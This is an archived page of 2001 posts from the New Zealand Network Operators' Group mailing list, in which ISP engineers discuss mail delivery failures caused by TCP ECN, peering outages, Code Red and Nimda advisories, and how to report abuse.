I just got an email from Cisco regarding Code Red. The only problem is that it took a little while to get to me (see the headers). Is Cisco doing _anything_ right these days? -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz ---------- Forwarded message ---------- Return-Path: <list-owner-cust-security-announce-outgoing(a)domohead.cisco.com> Delivered-To: slyallm(a)s.pop.ihug.co.nz Received: from pop.ihug.co.nz by localhost with POP3 (fetchmail-5.3.3) for slyall(a)localhost (single-drop); Wed, 10 Oct 2001 16:14:50 +1300 (NZDT) Received: (qmail 712 invoked from network); 10 Oct 2001 03:13:56 -0000 Received: from mx1-1.ihug.co.nz (HELO mx1.ihug.co.nz) (203.109.254.17) by kate.ihug.co.nz with SMTP; 10 Oct 2001 03:13:56 -0000 Received: from domohead.cisco.com [171.69.11.89] by mx1.ihug.co.nz with esmtp (Exim 3.22 #1 (Debian)) id 15r9oi-0000Wr-00; Wed, 10 Oct 2001 16:13:56 +1300 Received: by domohead.cisco.com (8.9.1/8.9.1) id RAA23537 for cust-security-announce-outgoing; Tue, 31 Jul 2001 17:36:39 -0700 (PDT) Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97]) by domohead.cisco.com (8.9.1/8.9.1) with ESMTP id RAA23529 for <cust-security-announce-proc(a)domohead.cisco.com>; Tue, 31 Jul 2001 17:36:30 -0700 (PDT) Received: from rtp-cse-422.cisco.com (rtp-cse-422.cisco.com [64.102.54.64]) by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with SMTP id f710ik502398; Tue, 31 Jul 2001 20:44:46 -0400 (EDT) From: Cisco Systems Product Security Incident Response Team <psirt(a)cisco.com> To: cust-security-announce(a)cisco.com Cc: psirt(a)cisco.com Subject: UPDATED: Cisco Security Advisory: "Code Red" Worm - Customer Impact Date: Tue, 31 Jul 2001 16:00:00 -0400 (EDT) Message-id: <200107312000.cisco-code-red-worm-pub(a)productsecurity.cisco.com> Content-Return: Prohibited Sender: owner-cust-security-announce(a)cisco.com Precedence: bulk Reply-To: Cisco Systems Product Security Incident Response Team <psirt(a)cisco.com> X-Rcpt-To:simon.lyall(a)ihug.co.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

APE Problems
by Xris Brunton 09 Oct '01

09 Oct '01

Just a bell to say that there are currently intermitant problems with APE (for us and at least one other ISP we know of) Citylink are trying to figure it out with us ATM. First went down at ~17:25 came back 17:38 went down again about 5 mins ago and appears to be back again. Xris Brunton Network Engineer Ihug Engineering. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

7 7

Re: Mail _From_ telecom.co.nz
by Peter Mott 08 Oct '01

08 Oct '01

At 9/10/2001 16:21, Juha Saarinen wrote: >On Tue, 9 Oct 2001, Peter Mott wrote: > > > What about telecon.co.nz > > Because its correct >Taken by someone else, I'm afraid... ># whois telecon.co.nz <snip> You missed the point entirely Juha! - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Ted Grenfell 08 Oct '01

08 Oct '01

AFAIK Xtra's MTA's don't handle mail for the telecom.co.nz domain so I guess your problem would be unrelated to any timeout issues with mta.xtra.co.nz At 13:10 9/10/2001, Lin Nah wrote: >On Tue, 9 Oct 2001, Juha Saarinen wrote: > > > Just wondering if anyone else is seeing the same thing today... > > mailqueue's getting fatter. > >guess that explains this (only quoting relevant bits) : > >>Date: 5 Oct 2001 02:30:35 -0000 > >>Hi. This is the qmail-send program at monkey.qsi.net.nz. > >>I'm afraid I wasn't able to deliver your message to the following > addresses. > >>This is a permanent error; I've given up. Sorry it didn't work out. > >> > >><someone1(a)telecom.co.nz>: > >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) > >>I'm not going to try again; this message has been in the queue too long. > >> > >><someone2(a)telecom.co.nz>: > >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) > >>I'm not going to try again; this message has been in the queue too long. > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog -- Ted Grenfell Network Operations Manager, Xtra Limited Mob 025 435 455; DDI 09 359 5854; Fax 09 362 8007 Level 14, Xtra Tower, 16 Kingston St, Private Bag 92028, Auckland This email is for the person(s) identified above, and is confidential to the sender and the person(s). No one else is authorised to use or disseminate this email or its contents. The email or its contents do not necessarily represent the views of Xtra Limited or Telecom. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 6

Re: Mail _From_ telecom.co.nz
by Peter Mott 08 Oct '01

08 Oct '01

At 9/10/2001 16:00, you wrote: >On Tue, 9 Oct 2001, Juha Saarinen wrote: > > > I think both should work... > >i think telekom.co.nz should work too, but for the same reason as >quiksilver.net.nz doesn't, it won't either. > >Because its Wrong. What about telecon.co.nz Because its correct :-) - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Mail _From_ telecom.co.nz
by Donald Neal 08 Oct '01

08 Oct '01

Hmmm. Mail sent from telecom.co.nz to quiksilver.co.nz bounces: The Postfix program <USERNAME(a)quiksilver.co.nz>: host mx1.qsi.net.nz said: 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) That won't help finding any problem at this end. - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 8

Re: Mail _From_ telecom.co.nz
by Mark Foster 08 Oct '01

08 Oct '01

You wouldnt *believe* how often people get that one wrong. :P Thanks for all the assistance, the ECN thing was right on the money... problem solved, if only because the mail server in question is now defunct and replaced with one on a different machine. Cheers All, Mark. At 15:51 9/10/01 +1300, Juha Saarinen wrote: >On Tue, 9 Oct 2001, Matt Camp wrote: > > > > > Pssst... Don, try quiCksilver.co.nz :) > >I think both should work... > >-- > > > > >Regards, > > >Juha > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timedout)
by Donald Neal 08 Oct '01

08 Oct '01

Lin, I'm getting email to a telecom.co.nz address without any unusual delay. - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd >>> "Lin Nah" <lin(a)darkmere.gen.nz> 10/09/01 01:10 >>> On Tue, 9 Oct 2001, Juha Saarinen wrote: > Just wondering if anyone else is seeing the same thing today... > mailqueue's getting fatter. guess that explains this (only quoting relevant bits) : >>Date: 5 Oct 2001 02:30:35 -0000 >>Hi. This is the qmail-send program at monkey.qsi.net.nz. >>I'm afraid I wasn't able to deliver your message to the following addresses. >>This is a permanent error; I've given up. Sorry it didn't work out. >> >><someone1(a)telecom.co.nz>: >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) >>I'm not going to try again; this message has been in the queue too long. >> >><someone2(a)telecom.co.nz>: >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) >>I'm not going to try again; this message has been in the queue too long. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Simon Byrnand 08 Oct '01

08 Oct '01

At 01:58 PM 9/10/01 +1300, you wrote: >On Tue, 9 Oct 2001, Craig Whitmore wrote: > >> enabled by default???? (Which Distro??) > >IIRC on the pukka kernels from kernel.org. RHL and Mandrake have it. > >> cat "0" > /proc/sys/net/ipv4/tcp_ecn (works as well) > >Boooooh... hackish. ;-) That would actually be echo "0" > /proc/sys/net/ipv4/tcp_ecn And whats wrong with echoing stuff to /proc anyway ? :) Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

(connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Juha Saarinen 08 Oct '01

08 Oct '01

Just wondering if anyone else is seeing the same thing today... mailqueue's getting fatter. Cheers, -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 7

tall pointy thing
by Joe Abley 05 Oct '01

05 Oct '01

I hadn't looked at this for a while: http://maggie.automagic.org/graphs.html Looks like there was an event of note on September 18. It looks like routes from a big chunk of the net outside NZ started being counted, probably due to my inadequate criteria for judging a prefix to be "within NZ". The fact that it only lasted for a day is weird, though. Anybody happen to remember an event on September 18 which involved them getting transit from someone unexpected for a brief period? Someone who peers in the US with someone who leaked, maybe? Just out of interest :) Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 4

Off Topic - Lotus Word Pro 7
by Russell Sharpe 04 Oct '01

04 Oct '01

Does anyone have access to Lotus Word Pro 7. I have a friend who has suffered a laptop meltdown, and urgently needs to convert her thesis from WP to Micro$soft Word or RTF. Can some please offer a confidential solution. Regards Russell Sharpe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

The New Zealand Network Operators' Group
by Donald Neal 04 Oct '01

04 Oct '01

The New Zealand Network Operators' Group The New Zealand Network Operators' Group (NZNOG) has no king, president or formal membership. At present it consists of the subscribers to this mailing list, which anyone is free to join. This list has just under 300 subscribers. There was something of a jump in subscriptions as the ability to post to the list from a non-subscribed address was removed. (Bounced spam messages roughly equalled bounced real non-subscriber postings last month, by the way.) The NZNOG mailing list is provided through a server at The University of Waikato, and is administered by an employee of Telecom NZ Ltd. Neither of these organisations (nor the administrator) is responsible for its content. NZNOG Mailing List Acceptable Use Policy The NZNOG mailing list exists to provide a forum for the exchange of technical information and the discussion of implementation issues that require cooperation among New Zealand network service providers. In order to continue to provide a useful forum for discussion of relevant technical issues, users of the list are asked to respect the following guidelines. 1. Discussion will focus on Internet operational and technical issues. 2. Discussion related to meetings of network service providers is appropriate. 3. Discussion unrelated to these topics is not appropriate. 4. Postings to multiple mailing lists are discouraged. 5. Postings that include foul language, character assassination, and lack of respect for other participants are unacceptable. 6. Blatant product or service marketing is unacceptable. 7. Postings of a political, philosophical or legal nature are discouraged. 8. Postings to the list should be in ASCII or MIME encoded as text/plain. Attachments should not be sent to the list. To present a document, a suitable URL may be referred to. For documents of general interest, the use of proprietary file formats is discouraged. 9. Breaches of list etiquette should be dealt with privately with the offending list user, and should not result in complaints being sent to the list. 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Mailing List Archives A full archive is available at http://list.waikato.ac.nz/archives/nznog/ Any message sent to the list will be archived and made available on the web automatically. Subscribing to the List To subscribe to the NZNOG list, send email to majordomo(a)list.waikato.ac.nz, where the body of the message reads subscribe nznog Digest Mailing List If you don't wish to receive postings as they are sent, you can instead subscribe to the nznog-digest mailiing list, on which all postings are sent out in a single "digest" every couple of days. Post-only Mailing List An address from which you wish to post, but which will not receive messages from the list, may be subscribed to nznog-postonly. You will presumably want to have another address subscribed to the main nznog list. Other Activities NZNOG does not at present have other regular activities than this mailing list. Donald Neal NZNOG Mailing List Owner/Administrator/Muggins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: adding unix users through web interface.
by John Lynch 03 Oct '01

03 Oct '01

At 01:39 PM 10/3/2001 +0000, you wrote: >I'm sorry I'm not exactly willing to let go of the script. Part of what >we do at Net4U is Linux System Administration. Our time is charged out >for. Let me know. Thought that might be the case, think I'll continue to write my own script, using the advice of Simon and a off list Tip from Richard Bain think I am almost there ...... Thanks for ya time anyway. >Regards, > >Sahil Gupta >NET4U Limited > >------------------------------------ > NET4U -- www.net4u.co.nz > Home of the new - $24.95 128k ADSL >Nationwide Internet Service Provider >------------------------------------ > >On Wed, 3 Oct 2001, John Lynch wrote: > > > At 01:14 PM 10/3/2001 +0000, you wrote: > > >hehehe :) Hmm... Okie Dokie.. The scripts are quite nice.. however, they > > >require certain the newusers binary :) > > > > cool, can they be sent as an attachment ??? > > > > > > >Regards, > > > > > >Sahil Gupta > > >NET4U Limited > > > > > >------------------------------------ > > > NET4U -- www.net4u.co.nz > > > Home of the new - $24.95 128k ADSL > > >Nationwide Internet Service Provider > > >------------------------------------ > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > At 01:05 PM 10/3/2001 +0000, you wrote: > > > > >:) What is in it for me to release the code ? :) > > > > The knowledge that you have contributed to the open source caring and > > > > sharing community, that I am sure you have taken from in the past > (Unless > > > > you a windows victim!!). > > > > > > > > >Regards, > > > > > > > > > >Sahil Gupta > > > > >NET4U Limited > > > > > > > > > >------------------------------------ > > > > > NET4U -- www.net4u.co.nz > > > > > Home of the new - $24.95 128k ADSL > > > > >Nationwide Internet Service Provider > > > > >------------------------------------ > > > > > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > > > > > At 01:01 PM 10/3/2001 +0000, you wrote: > > > > > > >John, > > > > > > >I have a lovely script available. Contact me privately if you > > > > > > >like. Infact my script also allows people to add Virtual Hosts :) > > > > > > > > > > > > sound's good to me !!! > > > > > > > > > > > > > > > > > > >Regards, > > > > > > > > > > > > > >Sahil Gupta > > > > > > >NET4U Limited > > > > > > > > > > > > > >------------------------------------ > > > > > > > NET4U -- www.net4u.co.nz > > > > > > > Home of the new - $24.95 128k ADSL > > > > > > >Nationwide Internet Service Provider > > > > > > >------------------------------------ > > > > > > > > > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > > > > > > > > > Hi people, I am trying to write some php3 code to add > dialup users > > > > > to the > > > > > > > > unix passwd file, > > > > > > > > I am issuing the system command to run useradd , this > didn't work > > > > > because > > > > > > > > you need root permissions to running the command, so I > thought, > > > hmm > > > > > i'll > > > > > > > > just build a wrapper and run it suid root (probable very > bad, but > > > > > > > anyway..) > > > > > > > > Now the wrapper get's the error cannot get file lock on > > > > > /etc/passwd. Any > > > > > > > > tips on why this might be happening or a better way to > solve to > > > problem > > > > > > > > would be much appreciated. > > > > > > > > > > > > > > > > > > > > > > > > John Lynch > > > > > > > > System Administrator (string and tape specialist) > > > > > > > > Wise Net > > > > > > > > > > > > > > > > --------- > > > > > > > > To unsubscribe from nznog, send email to > > > majordomo(a)list.waikato.ac.nz > > > > > > > > where the body of your message reads: > > > > > > > > unsubscribe nznog > > > > > > > > > > > > > > > > > > > > John Lynch > > > > > > System Administrator (string and tape specialist) > > > > > > Wise Net > > > > > > > > > > > > > > John Lynch > > > > System Administrator (string and tape specialist) > > > > Wise Net > > > > > > > > > >--------- > > >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > > >where the body of your message reads: > > >unsubscribe nznog > > > > John Lynch > > System Administrator (string and tape specialist) > > Wise Net > > John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: adding unix users through web interface.
by John Lynch 03 Oct '01

03 Oct '01

At 01:05 PM 10/3/2001 +0000, you wrote: >:) What is in it for me to release the code ? :) The knowledge that you have contributed to the open source caring and sharing community, that I am sure you have taken from in the past (Unless you a windows victim!!). >Regards, > >Sahil Gupta >NET4U Limited > >------------------------------------ > NET4U -- www.net4u.co.nz > Home of the new - $24.95 128k ADSL >Nationwide Internet Service Provider >------------------------------------ > >On Wed, 3 Oct 2001, John Lynch wrote: > > > At 01:01 PM 10/3/2001 +0000, you wrote: > > >John, > > >I have a lovely script available. Contact me privately if you > > >like. Infact my script also allows people to add Virtual Hosts :) > > > > sound's good to me !!! > > > > > > >Regards, > > > > > >Sahil Gupta > > >NET4U Limited > > > > > >------------------------------------ > > > NET4U -- www.net4u.co.nz > > > Home of the new - $24.95 128k ADSL > > >Nationwide Internet Service Provider > > >------------------------------------ > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > Hi people, I am trying to write some php3 code to add dialup users > to the > > > > unix passwd file, > > > > I am issuing the system command to run useradd , this didn't work > because > > > > you need root permissions to running the command, so I thought, hmm > i'll > > > > just build a wrapper and run it suid root (probable very bad, but > > > anyway..) > > > > Now the wrapper get's the error cannot get file lock on > /etc/passwd. Any > > > > tips on why this might be happening or a better way to solve to problem > > > > would be much appreciated. > > > > > > > > > > > > John Lynch > > > > System Administrator (string and tape specialist) > > > > Wise Net > > > > > > > > --------- > > > > To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > > > > where the body of your message reads: > > > > unsubscribe nznog > > > > > > > > John Lynch > > System Administrator (string and tape specialist) > > Wise Net > > John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

adding unix users through web interface.
by John Lynch 02 Oct '01

02 Oct '01

Hi people, I am trying to write some php3 code to add dialup users to the unix passwd file, I am issuing the system command to run useradd , this didn't work because you need root permissions to running the command, so I thought, hmm i'll just build a wrapper and run it suid root (probable very bad, but anyway..) Now the wrapper get's the error cannot get file lock on /etc/passwd. Any tips on why this might be happening or a better way to solve to problem would be much appreciated. John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

Update on TelstraSaturn problem
by PhoneNet 27 Sep '01

27 Sep '01

Ok Folks...thanks to those who responded with suggestions... Techs have since been in touch and identified our fault report had not been correctly recorded somewhere along the line... some hardware has been replaced (external to our system) and we appear to be cruising along quite happily... So credit where credit's due to techs from both TelstraSaturn and Citylink.... Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Breakdown in TelstraSaturn systems?
by PhoneNet 27 Sep '01

27 Sep '01

Anyone else having serious packet loss problems and who is using Netlink (TelstraSaturn) in Wellington? We've had failry consistent 30% packet loss since the weekend (when we lost all contact with the world for 4 hours and have had no reply from TelstraSaturn about what happened) yet this morning that has dropped back to 2% loss. I've replaced the NICs in our router and got the same packet loss result (damn it had been running 249 days 24/7 without a blip) so started checking further afield for problems... pinging our router from my home (on 56k modem) showed 18-29% packet loss, pinging the next IP out (our IP connection at Netlink) showed a 0% loss so I figured the problem lies between them and us somewhere.... then this morning everything seems to have sorted itself out.... Any comments? Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

FW: [Oz-ISP] Nimda rides again
by Philip Beckmann 27 Sep '01

27 Sep '01

fyi (if you're not on Oz-ISP list or can't be bothered filtering it :) Regards, Phil > -----Original Message----- > From: Dale Clapperton [mailto:dale(a)tdce.com.au] > Sent: Friday, 28 September 2001 10:54 AM > To: aussie-isp(a)aussie.net; isp-australia(a)isp-australia.com > Subject: [Oz-ISP] Nimda rides again > > > http://www.infoworld.com/articles/hn/xml/01/09/27/010927hnnimbda.xml?0927ale rt > > Researchers say Nimda set to propagate again > > By Deborah Radcliff, Computerworld online > September 27, 2001 10:52 am PT > > > RESEARCHERS HAVE DISCOVERED a third vector to the Nimda worm, which is > set to propagate again through e-mail at 1 a.m. ET Friday. > > "We rechecked the code base to Nimda, and we found a code set that is > supposed to respread Nimda through e-mail systems starting 10 days after > machines were first infected," said Oliver Friedrichs, director of > engineering at the Attack Registry and Intelligence Service. That service > is sponsored by SecurityFocus, a business security firm in San Mateo, > Calif. > > Ten days after first infecting machines, the worm will attempt to respread > itself through readme.exe attachments, with the same payload as its > original mail-based infection. > > The impact could be significant or minute, depending on how well the IT > community has cleaned systems and patched Microsoft IIS (Internet > Information Server) and Outlook programs. The 10-day vector will likely be > less severe than Nimda was the first time because more systems have been > patched against the vulnerabilities, Friedrichs said. > > But because Nimda has spread itself to so many places on computers, > networked systems may not have been cleaned enough to prevent widespread > mailings of the virus. Therefore, Friedrichs advised IT managers to do the > following: > > -- Double-check their patches. > > -- Make sure their anti-virus software blocks Nimda. > > -- Block executables files at the e-mail gateway. > > -- Alert users not to preview or open any attachments that say readme.exe > > > ---- > Email "unsubscribe aussie-isp" to majordomo(a)aussie.net to be removed. > The information contained in this email message may be > confidential. If you > are not the intended recipient, any use, distribution, disclosure > or copying > of this information is prohibited. If you receive this email in error, > please tell us by return email and delete it and any attachments from your > system. > --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

[rachel@plur.net: (fwd) [Oz-ISP] USG takes control of xpnder off PAS-2]
by Joe Abley 27 Sep '01

27 Sep '01

Whole new levels of inter-list forwarding lameness, here! Interesting, though. Anybody here have preemptable capacity which has curiously stopped functioning? ----- Forwarded message from Rachel Warren <rachel(a)plur.net> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu Date: Fri, 21 Sep 2001 12:59:48 -0700 From: Rachel Warren <rachel(a)plur.net> To: nanog(a)merit.edu Subject: (fwd) [Oz-ISP] USG takes control of xpnder off PAS-2 User-Agent: Mutt/1.2.5i Organization: Taco Bell, The Mexican Phone Company Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog I thought this might interest NANOG: ---------- Forwarded message ---------- Date: Fri, 21 Sep 2001 18:11:39 +1000 (EST) From: Terence <terry(a)tdce.com.au> To: aussie-isp(a)aussie.net Cc: AusBONE Members <ausbone-members(a)ausbone.tdce.com.au> Subject: [Oz-ISP] USG takes control of xpnder off PAS-2 Well, there must be a big war coming up, because the US govmint just appropriated our PAS-2 transponder, effectively shutting down our regional operations on October 15. I'm more than happy for journalists to call me. I may be sympathetic to the USG over terrorism, but they can't go around putting AUSTRALIAN REGIONAL ISP's out of business... --- Terence C. Giufre-Sweetser +---------------------------------+--------------------------+ | TereDonn Telecommunications Ltd | Phone +61-[0]7-32369366 | | 1/128 Bowen St, SPRING HILL | FAX +61-[0]7-32369930 | | PO BOX 1054, SPRING HILL 4004 | Mobile +61-[0]414-663053 | | Queensland Australia | http://www.tdce.com.au | +---------------------------------+--------------------------+ Rachel -- http://www.plur.net/~rachel/misc/stock-market-nasdaq.jpg ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Way off subject but really need a photographer
by David 26 Sep '01

26 Sep '01

Hi Guys, I am in need of a photographer in Wellington for Friday and Saturday That likes Dogs. Anyone know anyone that is looking for a few days work? Must have digital camera Please reply of list. Regards David ecig.com.au --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Network Research in NZ
by Tony McGregor 26 Sep '01

26 Sep '01

Hi All The Waikato University Network Research group (WAND) is currently going through a process of reviewing its goals and we would welcome input from the New Zealand Internet community. We are currently heavily measurement focused. Projects include: o Collection and publishing of Internet header traces (see, for example, http://wand.cs.waikato.ac.nz/wand/wits/auck/4/ and http://moat.nlanr.net/pma) o Active measurement (see http://amp.nlanr.net/) o Passive measurement hardware for OC3, OC12, OC48 and 10/100 Ethernet. (see http://dag.cs.waikato.ac.nz) o Simulation and statistical modelling of Internet traffic. See some of the papers at http://wand.cs.waikato.ac.nz) Many of our activities are focused outside NZ. We have very strong links with NLANR and CAIDA (two members of our group lead the NLANR measurement projects AMP and PMA, for example). If the opportunity exists we would like to see some of the activity of the WAND team supporting the New Zealand industry through research that is interesting to us and also meets needs here. We're open to any suggestions but a couple occur immediately: o Are there parts of the New Zealand infrastructure for which it would be valuable to make passive header traces and to do analysis? o Would a NZ AMP-like system be of interest to people? (I.E. active measurement of delay, loss and path etc). If you have any suggestions, or comments, please let me have them. Thanks Tony ---------------------------------------------------------------------------- Tony McGregor Mail: T.McGregor(a)cs.waikato.ac.nz Department of Computer Science Phone: +64 7 838 4651 Waikato University Fax: +64 7 858 5095 Private Bag 3105 Home: +64 7 825 5040 mobile: (021)313004 Hamilton, New Zealand www: http://www.cs.waikato.ac.nz/~tonym ---------------------------------------------------------------------------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: Clear IP accounts for 30% of hits?
by PhoneNet 26 Sep '01

26 Sep '01

Thanks to those who replied before.... I've done some further checks nad see that 5 IP numbers account for 1272 hits on my site this month so far... whois tells me they are Clear Communications and the role of these are Clear Communications Networks Objects Maintainer? Contact address is netobjs(a)clear.net.nz so I will contact them to see what it is... but this seems a little excessive for something that "might" be checking the site still exists.... that's about 50 + hits per day..... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Clear IP accounts for 30% of hits?
by PhoneNet 24 Sep '01

24 Sep '01

Apologies if this has appeared onthe list before but I have not seen it appear.... Can anyone explain to me why the IP 203.97.10.171 accounts for over 700 hits on my site this month... it appears to be a Clear network/internet Object IP.... It accounts for almost 30% of the hits on my site! Ian Cousins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

Xtra Abuse Reports
by Mark Foster 23 Sep '01

23 Sep '01

Maybe someone from Xtra can point out to me why xtra no longer take network abuse reports via email ? security/abuse(a)xtra now autorespond with a message pointing at a website requiring a form to be filled out.. Strikes me as a huge waste of time - who the hell is going to want to dob in spammers if it now takes 4 (or more) times longer to fill in a stupid web form than it doesnt to click view-headers - forward and add comments at the top? Xtra trying to dodge their responsibilities in keeping their users in check by making life harder for those who merely want spammers off their backs? *sigh* Mark. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

RE: Xtra Abuse Reports
by Stephen Andrew 23 Sep '01

23 Sep '01

> -----Original Message----- > From: Dylan Reeve [mailto:dylan(a)wibble.net] > Sent: Monday, 24 September 2001 12:41 > To: Mark Foster > Cc: nznog(a)list.waikato.ac.nz > Subject: Re: Xtra Abuse Reports > > > On Mon, 24 Sep 2001, Mark Foster wrote: > > > Maybe someone from Xtra can point out to me why xtra no > longer take network > > abuse reports via email ? security/abuse(a)xtra now > autorespond with a > > message pointing at a website requiring a form to be filled out.. > > It's interesting, I reported someone a while ago (an IRCer with > life_stages who I figured Xtra should talk to). I got the > auto responder telling me they didn't take email. [snip] I have to admit to being pretty pissed about this as well. I tried to report an Xtra user who has been throwing SirCam at our mail servers for a week (~450 blocked at this stage) and successfully ignoring the "you have a virus you idiot" email they will have been receiving for every single one of them. First my email to abuse failed so I went to the form they suggested only to find the the "mail/news abuse" form is utterly inappropriate for this type of problem. For one thing, YTF do they want (as mandatory fields) my Xtra login and password to report abuse by one of their users? And they want a copy of the "offending" part of the email. Everything after "Content-Type: multipart/mixed; boundary=" is pretty offensive if you ask me. I would have been happy to provide them with the complete MIME encoded trojan but they only accepted the first 1500 characters of it. Does anyone know if complaints(a)xtra.co.nz is likely to get to anyone useful? If I don't get some kind of response from Xtra today I'm almost pissed enough to bounce all future offending email to help(a)xtra until they do. -- Andrew J. Stephen Phone +64 4 496 4484 Team Leader, Network Operations Mobile +64 21 2400621 New Zealand Post Fax +64 4 496 4914 "Certainly, Windows XP is no Calista Flockhart. XP has so much pomp and circumstance that it's front-end weighs more than that of the cast of Baywatch." -- JonnyGURU, http://www.systemlogic.net/agurusworld/19/ This email with any attachments is confidential and may be subject to legal privilege. If it is not intended for you please reply immediately, destroy it and do not copy, disclose or use it in any way. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Thanks to Juha and David for the replies.... we are on a Citylink connection to Netlink and could get anywhere inside NZ but until 5:30pm approx could get no further... My sister rang me to see what was up also as she could not log in to Paradise via phone... Mind you I'd still like the courtesy of a call from Telstra Saturn to explain the problem...... after all I'm a business and paying business rates for a service.... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Anyone out there tell me if Telstra Saturn has gone off the air.... I've reported a failure to their afterhours help-desk (answered by no less than an answering service!) indicating we have been unable to get to any destination outside New Zealand for almost three hours - I've yet to receive a response.... We are running on our backup facility using one of their competitors but this is less than satisfactory... and sadly its not the first time its happened recently.... Anyone got any inside info ?.... Ian Cousins Director, PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: [jim@cyberjunkees.com: Re: FW: Worm probes]
by robbie_gernandt＠wilsonandhorton.co.nz 21 Sep '01

21 Sep '01

